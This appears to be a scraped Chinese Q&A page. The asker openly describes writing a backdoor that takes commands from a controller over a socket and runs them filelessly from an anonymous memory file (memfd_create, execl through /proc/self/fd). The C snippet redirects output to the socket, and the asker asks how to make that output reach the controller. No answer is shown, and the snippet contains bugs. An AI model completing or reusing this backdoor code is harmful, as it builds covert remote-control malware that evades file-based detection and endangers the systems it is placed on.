首页 > 解决方案 > 将 execl() 的 STDOUT 重定向到套接字

问题描述

我正在编写一个后门程序,该后门程序运行从控制器发送给它的命令。然后后门在 RAM 中创建一个匿名内存,并使用 execl() 存储和执行它。但是,我遇到了一个问题:当我通过套接字发送命令时,永远不会收到输出。如何将 execl() 的 STDOUT 重定向到 sock?

int fd = memfd_create("deleted", 0);

while(1){

  message_read = read(sock , buffer, 10240);
  buffer[message_read]='\0';
  char *p;
  write(fd, buffer, sizeof(buffer));
  asprintf(&p, "/proc/self/fd/%i", fd); 
  dup2(sock, STDOUT_FILENO);
  dup2(sock, STDERR_FILENO);
  execl(p, "deleted", NULL);
}

标签: cshellsocketsstdoutdup2

解决方案


推荐阅读